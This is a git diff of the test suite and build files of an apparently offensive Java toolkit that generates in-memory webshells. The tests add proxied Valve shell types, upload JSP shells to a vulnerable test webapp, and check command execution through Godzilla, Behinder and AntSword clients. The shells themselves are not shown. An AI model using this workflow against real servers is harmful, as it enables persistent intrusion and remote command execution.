@@ -0,0 +1,70 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.catalina.Valve;
|
||||||
|
import org.apache.catalina.connector.Request;
|
||||||
|
import org.apache.catalina.connector.Response;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/2
|
||||||
|
*/
|
||||||
|
public class ProxyTest {
|
||||||
|
|
||||||
|
static class ValveProxy implements InvocationHandler {
|
||||||
|
|
||||||
|
private final Valve valve;
|
||||||
|
|
||||||
|
ValveProxy(Valve valve) {
|
||||||
|
this.valve = valve;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
|
System.out.println("hello world" + method.getName());
|
||||||
|
return method.invoke(valve, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class TestValve implements Valve {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Valve getNext() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void setNext(Valve valve) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void backgroundProcess() {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
|
System.out.println("invoke method");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean isAsyncSupported() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
|
||||||
|
valve.invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
@@ -39,6 +39,7 @@ class CommandFilterTest {
|
|||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void generate(String shellType, Class<?> clazz, String className) {
|
void generate(String shellType, Class<?> clazz, String className) {
|
||||||
ShellConfig generateConfig = new ShellConfig();
|
ShellConfig generateConfig = new ShellConfig();
|
||||||
|
generateConfig.setServer(Server.Tomcat);
|
||||||
CommandConfig commandConfig = CommandConfig.builder()
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
.shellClass(clazz)
|
.shellClass(clazz)
|
||||||
.shellClassName(className)
|
.shellClassName(className)
|
||||||
|
|||||||
+2
-2
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
@@ -23,8 +24,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
class GodzillaTest {
|
class GodzillaTest {
|
||||||
ShellConfig config = new ShellConfig();
|
ShellConfig config = ShellConfig.builder().server(Server.Tomcat).build();
|
||||||
|
|
||||||
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
|
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
|
||||||
.pass(CommonUtil.getRandomString(6))
|
.pass(CommonUtil.getRandomString(6))
|
||||||
.key(CommonUtil.getRandomString(6))
|
.key(CommonUtil.getRandomString(6))
|
||||||
|
|||||||
@@ -0,0 +1,2 @@
|
|||||||
|
[plugins]
|
||||||
|
lombok = { id = "io.freefair.lombok", version = "8.13.1" }
|
||||||
Vendored
BIN
Binary file not shown.
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
distributionBase=GRADLE_USER_HOME
|
distributionBase=GRADLE_USER_HOME
|
||||||
distributionPath=wrapper/dists
|
distributionPath=wrapper/dists
|
||||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.1-bin.zip
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.2-bin.zip
|
||||||
networkTimeout=10000
|
networkTimeout=10000
|
||||||
validateDistributionUrl=true
|
validateDistributionUrl=true
|
||||||
zipStoreBase=GRADLE_USER_HOME
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
|||||||
@@ -114,7 +114,7 @@ case "$( uname )" in #(
|
|||||||
NONSTOP* ) nonstop=true ;;
|
NONSTOP* ) nonstop=true ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
CLASSPATH="\\\"\\\""
|
||||||
|
|
||||||
|
|
||||||
# Determine the Java command to use to start the JVM.
|
# Determine the Java command to use to start the JVM.
|
||||||
@@ -213,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
|||||||
set -- \
|
set -- \
|
||||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||||
-classpath "$CLASSPATH" \
|
-classpath "$CLASSPATH" \
|
||||||
org.gradle.wrapper.GradleWrapperMain \
|
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||||
"$@"
|
"$@"
|
||||||
|
|
||||||
# Stop when "xargs" is not available.
|
# Stop when "xargs" is not available.
|
||||||
|
|||||||
Vendored
+2
-2
@@ -70,11 +70,11 @@ goto fail
|
|||||||
:execute
|
:execute
|
||||||
@rem Setup the command line
|
@rem Setup the command line
|
||||||
|
|
||||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
set CLASSPATH=
|
||||||
|
|
||||||
|
|
||||||
@rem Execute Gradle
|
@rem Execute Gradle
|
||||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||||
|
|
||||||
:end
|
:end
|
||||||
@rem End local scope for the variables with windows NT shell
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
|||||||
@@ -1,56 +0,0 @@
|
|||||||
group = 'io.github.reajason'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
testImplementation project(":vul:vul-webapp")
|
|
||||||
testImplementation project(":memshell-party-common")
|
|
||||||
testImplementation project(":tools:behinder")
|
|
||||||
testImplementation project(":tools:godzilla")
|
|
||||||
testImplementation project(":tools:suo5")
|
|
||||||
testImplementation project(":tools:ant-sword")
|
|
||||||
testImplementation project(':generator')
|
|
||||||
|
|
||||||
testImplementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
testImplementation 'javax.servlet:javax.servlet-api'
|
|
||||||
testImplementation 'javax.websocket:javax.websocket-api'
|
|
||||||
|
|
||||||
testImplementation 'org.java-websocket:Java-WebSocket'
|
|
||||||
testImplementation 'com.squareup.okhttp3:okhttp'
|
|
||||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testImplementation 'org.junit.platform:junit-platform-reporting'
|
|
||||||
testImplementation 'org.hamcrest:hamcrest'
|
|
||||||
testImplementation 'org.testcontainers:testcontainers'
|
|
||||||
testImplementation 'org.testcontainers:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.withType(Test).tap {
|
|
||||||
configureEach {
|
|
||||||
testLogging {
|
|
||||||
events "passed", "skipped", "failed"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src/main')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
finalizedBy jacocoTestReport
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(platform(project(":memshell-party-bom")))
|
||||||
|
testImplementation(project(":vul:vul-webapp"))
|
||||||
|
testImplementation(project(":memshell-party-common"))
|
||||||
|
testImplementation(project(":tools:behinder"))
|
||||||
|
testImplementation(project(":tools:godzilla"))
|
||||||
|
testImplementation(project(":tools:suo5"))
|
||||||
|
testImplementation(project(":tools:ant-sword"))
|
||||||
|
testImplementation(project(":generator"))
|
||||||
|
testImplementation("net.bytebuddy:byte-buddy")
|
||||||
|
testImplementation("javax.servlet:javax.servlet-api")
|
||||||
|
testImplementation("javax.websocket:javax.websocket-api")
|
||||||
|
testImplementation("org.java-websocket:Java-WebSocket")
|
||||||
|
testImplementation("com.squareup.okhttp3:okhttp")
|
||||||
|
testImplementation("org.slf4j:slf4j-simple:2.0.16")
|
||||||
|
testImplementation(platform("org.junit:junit-bom"))
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testImplementation("org.junit.platform:junit-platform-reporting")
|
||||||
|
testImplementation("org.hamcrest:hamcrest")
|
||||||
|
testImplementation("org.testcontainers:testcontainers")
|
||||||
|
testImplementation("org.testcontainers:junit-jupiter")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
jvmArgs(
|
||||||
|
"--add-opens=java.base/java.util=ALL-UNNAMED",
|
||||||
|
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
|
||||||
|
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||||
|
)
|
||||||
|
testLogging {
|
||||||
|
events("passed", "skipped", "failed")
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
pgrep -f 'Main' | tr -d '\n'
|
||||||
@@ -32,6 +32,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
|
||||||
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
|
||||||
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
|
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
|
||||||
|
public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh"));
|
||||||
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
|
||||||
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
|
||||||
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
|
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));
|
||||||
|
|||||||
+7
-43
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration;
|
|||||||
|
|
||||||
import com.reajason.javaweb.antsword.AntSwordManager;
|
import com.reajason.javaweb.antsword.AntSwordManager;
|
||||||
import com.reajason.javaweb.behinder.BehinderManager;
|
import com.reajason.javaweb.behinder.BehinderManager;
|
||||||
|
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
@@ -17,8 +18,6 @@ import okhttp3.HttpUrl;
|
|||||||
import okhttp3.OkHttpClient;
|
import okhttp3.OkHttpClient;
|
||||||
import okhttp3.Request;
|
import okhttp3.Request;
|
||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
|
||||||
import org.testcontainers.containers.Container;
|
import org.testcontainers.containers.Container;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
@@ -28,18 +27,16 @@ import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
|||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.net.URI;
|
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
import java.util.concurrent.CountDownLatch;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.anyOf;
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -207,41 +204,8 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
||||||
final CountDownLatch latch = new CountDownLatch(1);
|
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload);
|
||||||
final String[] responseHolder = new String[1];
|
assertTrue(response.contains("uid="));
|
||||||
final long timeout = 5;
|
|
||||||
|
|
||||||
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
|
||||||
@Override
|
|
||||||
public void onOpen(ServerHandshake data) {
|
|
||||||
send(payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onMessage(String message) {
|
|
||||||
responseHolder[0] = message;
|
|
||||||
latch.countDown();
|
|
||||||
close();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onClose(int code, String reason, boolean remote) {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onError(Exception ex) {
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
client.connect();
|
|
||||||
|
|
||||||
boolean connected = latch.await(timeout, TimeUnit.SECONDS);
|
|
||||||
if (!connected) {
|
|
||||||
fail("连接超时,未能成功连接到 WebSocket 服务器");
|
|
||||||
}
|
|
||||||
|
|
||||||
String res = responseHolder[0];
|
|
||||||
assertTrue(res.contains("uid="));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
|
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
|
||||||
@@ -340,9 +304,9 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP, ClassLoaderJSP, DefineClassJSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
String filename = shellType + shellTool + ".jsp";
|
String filename = shellType + shellTool + packer + ".jsp";
|
||||||
String shellUrl = url + "/" + filename;
|
String shellUrl = url + "/" + filename;
|
||||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||||
VulTool.urlIsOk(shellUrl);
|
VulTool.urlIsOk(shellUrl);
|
||||||
|
|||||||
+3
-1
@@ -53,7 +53,9 @@ public class Jboss423ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
|
|||||||
+3
-1
@@ -52,7 +52,9 @@ public class Jboss510ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
|
|||||||
+3
-1
@@ -52,7 +52,9 @@ public class Jboss610ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
|
|||||||
+3
-1
@@ -55,7 +55,9 @@ public class Jboss711ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
|
|||||||
+3
-1
@@ -51,7 +51,9 @@ public class JbossEap6ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossEAP6;
|
Server server = Server.JBossEAP6;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-1
@@ -57,7 +57,7 @@ public class Jetty11ContainerTest {
|
|||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.AntSword)
|
null, List.of(ShellTool.AntSword)
|
||||||
);
|
);
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
+1
@@ -55,6 +55,7 @@ public class Tomcat10ContainerTest {
|
|||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_PROXY_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
|||||||
+2
-1
@@ -56,11 +56,12 @@ public class Tomcat11ContainerTest {
|
|||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_PROXY_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
@@ -57,6 +57,7 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
ShellType.JAKARTA_FILTER,
|
ShellType.JAKARTA_FILTER,
|
||||||
ShellType.JAKARTA_LISTENER,
|
ShellType.JAKARTA_LISTENER,
|
||||||
ShellType.JAKARTA_VALVE,
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_PROXY_VALVE,
|
||||||
ShellType.JAKARTA_WEBSOCKET,
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
|||||||
+2
-1
@@ -57,10 +57,11 @@ public class Tomcat5ContainerTest {
|
|||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
ShellType.VALVE,
|
ShellType.VALVE,
|
||||||
|
ShellType.PROXY_VALVE,
|
||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
|
